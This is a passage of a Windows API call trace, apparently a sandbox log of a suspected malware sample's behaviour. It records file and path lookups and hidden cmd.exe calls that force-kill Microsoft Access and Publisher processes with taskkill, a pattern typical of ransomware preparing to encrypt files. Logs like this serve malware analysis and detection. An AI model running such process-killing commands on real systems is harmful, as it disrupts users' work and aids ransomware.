	[0044.695] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.695] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f60a8 | out: lpFileInformation=0x124f60a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.695] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.695] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f60f8 | out: lpFileInformation=0x124f60f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.695] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.695] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e6340, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0044.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6148 | out: lpFileInformation=0x124f6148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0044.695] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6410, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6198 | out: lpFileInformation=0x124f6198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0044.695] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0044.695] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0044.696] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0044.696] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0044.696] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0044.696] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0044.696] GetEnvironmentStringsW () returned 0x7eb348*
	[0044.696] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0044.696] GetCurrentProcess () returned 0xffffffff
	[0044.696] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249be10, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249be10*=0xc8) returned 1
	[0044.696] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249be14, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249be14*=0xac) returned 1
	[0044.696] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249be18, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249be18*=0xb8) returned 1
	[0044.697] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im msaccess.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b3c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im msaccess.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0xb94, dwThreadId=0xb88)) returned 1
	[0044.705] CloseHandle (hObject=0xbc) returned 1
	[0044.706] CloseHandle (hObject=0xb8) returned 1
	[0044.706] CloseHandle (hObject=0xac) returned 1
	[0044.706] CloseHandle (hObject=0xc8) returned 1
	[0044.706] CloseHandle (hObject=0xc4) returned 1
	[0044.706] CloseHandle (hObject=0xb0) returned 1
	[0044.706] CloseHandle (hObject=0xb4) returned 1
	[0044.706] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0045.079] SetEvent (hEvent=0xa8) returned 1
	[0045.079] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0045.080] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x124c5aa0, lpExitTime=0x124c5aa8, lpKernelTime=0x124c5ab0, lpUserTime=0x124c5ab8 | out: lpCreationTime=0x124c5aa0, lpExitTime=0x124c5aa8, lpKernelTime=0x124c5ab0, lpUserTime=0x124c5ab8) returned 1
	[0045.080] CloseHandle (hObject=0xc0) returned 1
	[0045.080] SetEvent (hEvent=0x80) returned 1
	[0045.080] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0045.088] SetEvent (hEvent=0x80) returned 1
	[0045.088] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee1a0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.088] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f908 | out: lpFileInformation=0x1249f908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.088] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249f958 | out: lpFileInformation=0x1249f958*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f9a8 | out: lpFileInformation=0x1249f9a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249f9f8 | out: lpFileInformation=0x1249f9f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249fa48 | out: lpFileInformation=0x1249fa48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249fa98 | out: lpFileInformation=0x1249fa98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249fae8 | out: lpFileInformation=0x1249fae8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.089] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249fb38 | out: lpFileInformation=0x1249fb38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.089] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.090] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249fb88 | out: lpFileInformation=0x1249fb88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.090] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.090] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249fbd8 | out: lpFileInformation=0x1249fbd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.090] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.090] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249fc28 | out: lpFileInformation=0x1249fc28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.090] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.090] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249fc78 | out: lpFileInformation=0x1249fc78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.090] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.090] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124ee270, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.090] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249fcc8 | out: lpFileInformation=0x1249fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0045.090] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee340, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.090] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249fd18 | out: lpFileInformation=0x1249fd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0045.090] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0045.090] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0045.091] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0045.091] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0045.091] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0045.091] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0045.091] GetEnvironmentStringsW () returned 0x7eb348*
	[0045.091] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0045.091] GetCurrentProcess () returned 0xffffffff
	[0045.091] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5b90, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5b90*=0xc4) returned 1
	[0045.091] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5b94, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5b94*=0xc8) returned 1
	[0045.091] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5b98, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5b98*=0xac) returned 1
	[0045.092] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im mspub.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124bfc00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im mspub.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xbc, hThread=0xb8, dwProcessId=0xbb0, dwThreadId=0xba8)) returned 1
	[0045.099] CloseHandle (hObject=0xb8) returned 1
	[0045.099] CloseHandle (hObject=0xac) returned 1
	[0045.099] CloseHandle (hObject=0xc8) returned 1
	[0045.099] CloseHandle (hObject=0xc4) returned 1
	[0045.099] CloseHandle (hObject=0xc0) returned 1
	[0045.099] CloseHandle (hObject=0xb4) returned 1
	[0045.099] CloseHandle (hObject=0xb0) returned 1
	[0045.099] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
	[0045.467] SetEvent (hEvent=0xa8) returned 1
	[0045.467] GetExitCodeProcess (in: hProcess=0xbc, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0045.468] GetProcessTimes (in: hProcess=0xbc, lpCreationTime=0x124cf7e0, lpExitTime=0x124cf7e8, lpKernelTime=0x124cf7f0, lpUserTime=0x124cf7f8 | out: lpCreationTime=0x124cf7e0, lpExitTime=0x124cf7e8, lpKernelTime=0x124cf7f0, lpUserTime=0x124cf7f8) returned 1
	[0045.468] CloseHandle (hObject=0xbc) returned 1
	[0045.468] SetEvent (hEvent=0x80) returned 1
	[0045.468] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0045.518] SetEvent (hEvent=0x80) returned 1
	[0045.519] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e64e0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.519] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f61e8 | out: lpFileInformation=0x124f61e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.519] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.519] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124f6238 | out: lpFileInformation=0x124f6238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.519] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.519] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6288 | out: lpFileInformation=0x124f6288*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.519] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
